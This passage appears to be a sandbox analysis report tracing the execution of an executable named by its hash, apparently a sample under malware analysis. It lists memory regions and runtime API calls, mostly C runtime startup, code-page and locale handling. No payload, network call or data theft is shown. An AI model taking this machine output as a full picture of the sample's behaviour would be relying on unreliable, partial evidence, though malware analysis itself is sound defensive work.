monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000eca0000"
filename = ""
Region:
id = 1002
start_va = 0xeca0000
end_va = 0xecdffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000eca0000"
filename = ""
Region:
id = 1003
start_va = 0xece0000
end_va = 0xeddffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000ece0000"
filename = ""
Region:
id = 1004
start_va = 0x6f6c0000
end_va = 0x6f80afff
monitored = 0
entry_point = 0x6f721660
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll")
Region:
id = 1005
start_va = 0xe500000
end_va = 0xe503fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 1006
start_va = 0xede0000
end_va = 0xee24fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db")
Region:
id = 1007
start_va = 0xee30000
end_va = 0xee33fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 1008
start_va = 0xee40000
end_va = 0xeecdfff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db")
Region:
id = 1009
start_va = 0xeed0000
end_va = 0xeee0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "propsys.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui")
Region:
id = 1010
start_va = 0xeef0000
end_va = 0xeef3fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.1.db"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db")
Region:
id = 1011
start_va = 0xef00000
end_va = 0xef13fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001f.db"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001f.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001f.db")
Region:
id = 1012
start_va = 0xef20000
end_va = 0xef20fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000ef20000"
filename = ""
Region:
id = 1013
start_va = 0x7fe30000
end_va = 0x7feadfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sysmain.sdb"
filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb")
Region:
id = 1025
start_va = 0x700c0000
end_va = 0x700cbfff
monitored = 0
entry_point = 0x700c4ad0
region_type = mapped_file
name = "pcacli.dll"
filename = "\\Windows\\SysWOW64\\pcacli.dll" (normalized: "c:\\windows\\syswow64\\pcacli.dll")
Region:
id = 1026
start_va = 0x6f2f0000
end_va = 0x6f305fff
monitored = 0
entry_point = 0x6f2f21d0
region_type = mapped_file
name = "mpr.dll"
filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll")
Region:
id = 1040
start_va = 0x7fb00000
end_va = 0x7fea0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sysmain.sdb"
filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb")
Region:
id = 1208
start_va = 0xeca0000
end_va = 0xeca3fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Thread:
id = 1
os_tid = 0x12f0
[0043.172] GetStartupInfoA (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0))
[0043.172] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2020000
[0043.215] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0043.215] GetProcAddress (hModule=0x76840000, lpProcName="FlsAlloc") returned 0x7685a980
[0043.215] GetProcAddress (hModule=0x76840000, lpProcName="FlsGetValue") returned 0x76857570
[0043.215] GetProcAddress (hModule=0x76840000, lpProcName="FlsSetValue") returned 0x76859e30
[0043.216] GetProcAddress (hModule=0x76840000, lpProcName="FlsFree") returned 0x76864ff0
[0043.216] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0043.216] GetProcAddress (hModule=0x76840000, lpProcName="EncodePointer") returned 0x76f2f730
[0043.216] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0043.216] GetProcAddress (hModule=0x76840000, lpProcName="EncodePointer") returned 0x76f2f730
[0043.216] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0043.216] GetProcAddress (hModule=0x76840000, lpProcName="EncodePointer") returned 0x76f2f730
[0043.216] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0043.216] GetProcAddress (hModule=0x76840000, lpProcName="EncodePointer") returned 0x76f2f730
[0043.217] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0043.217] GetProcAddress (hModule=0x76840000, lpProcName="EncodePointer") returned 0x76f2f730
[0043.217] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0043.217] GetProcAddress (hModule=0x76840000, lpProcName="EncodePointer") returned 0x76f2f730
[0043.217] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0043.217] GetProcAddress (hModule=0x76840000, lpProcName="EncodePointer") returned 0x76f2f730
[0043.217] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0043.217] GetProcAddress (hModule=0x76840000, lpProcName="DecodePointer") returned 0x76f2d830
[0043.218] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x214) returned 0x20205a8
[0043.218] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0043.218] GetProcAddress (hModule=0x76840000, lpProcName="DecodePointer") returned 0x76f2d830
[0043.218] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0043.218] GetProcAddress (hModule=0x76840000, lpProcName="EncodePointer") returned 0x76f2f730
[0043.218] GetProcAddress (hModule=0x76840000, lpProcName="DecodePointer") returned 0x76f2d830
[0043.218] GetCurrentThreadId () returned 0x12f0
[0043.218] GetStartupInfoA (in: lpStartupInfo=0x19fe9c | out: lpStartupInfo=0x19fe9c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0))
[0043.218] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x800) returned 0x20207c8
[0043.218] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0043.218] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0043.218] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0043.218] SetHandleCount (uNumber=0x20) returned 0x20
[0043.218] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\" "
[0043.219] GetEnvironmentStringsW () returned 0x6947f8*
[0043.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1351, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1351
[0043.219] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x547) returned 0x2020fd0
[0043.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1351, lpMultiByteStr=0x2020fd0, cbMultiByte=1351, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1351
[0043.219] FreeEnvironmentStringsW (penv=0x6947f8) returned 1
[0043.219] GetLastError () returned 0x0
[0043.219] SetLastError (dwErrCode=0x0)
[0043.219] GetLastError () returned 0x0
[0043.219] SetLastError (dwErrCode=0x0)
[0043.219] GetLastError () returned 0x0
[0043.219] SetLastError (dwErrCode=0x0)
[0043.219] GetACP () returned 0x4e4
[0043.219] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x220) returned 0x2021520
[0043.219] GetLastError () returned 0x0
[0043.219] SetLastError (dwErrCode=0x0)
[0043.219] IsValidCodePage (CodePage=0x4e4) returned 1
[0043.219] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1
[0043.220] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1
[0043.220] GetLastError () returned 0x0
[0043.220] SetLastError (dwErrCode=0x0)
[0043.220] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19f8d8 | out: lpCharType=0x19f8d8) returned 1
[0043.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0043.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@Ā") returned 256
[0043.220] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@Ā", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1
[0043.220] GetLastError () returned 0x0
[0043.220] SetLastError (dwErrCode=0x0)
[0043.220] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1
[0043.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0043.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0043.220] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0043.220] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0043.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÖÈ\x80Ô\x94þ\x19", lpUsedDefaultChar=0x0) returned 256
[0043.220] GetLastError () returned 0x0
[0043.220] SetLastError (dwErrCode=0x0)
[0043.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0043.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0043.220] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0043.220] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256
[0043.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÖÈ\x80Ô\x94þ\x19", lpUsedDefaultChar=0x0) returned 256
[0043.221] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x446e08, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe")) returned 0x62
[0043.221] GetLastError () returned 0x0
[0043.221] SetLastError (dwErrCode=0x0)
[0043.221] GetLastError () returned 0x0
[0043.221] SetLastError (dwErrCode=0x0)
[0043.221] GetLastError () returned 0x0
[0043.221] SetLastError (dwErrCode=0x0)
[0043.221] GetLastError () returned 0x0
[0043.221] SetLastError (dwErrCode=0x0)
[0043.221] GetLastError () returned 0x0
[0043.221] SetLastError (dwErrCode=0x0)
[0043.221] GetLastError () returned 0x0
[0043.221] SetLastError (dwErrCode=0x0)
[0043.221] GetLastError () returned 0x0
[0043.221] SetLastError (dwErrCode=0x0)
[0043.221] GetLastError () returned 0x0
[0043.221] SetLastError (dwErrCode=0x0)
[0043.221] GetLastError () returned 0x0
[0043.221] SetLastError (dwErrCode=0x0)
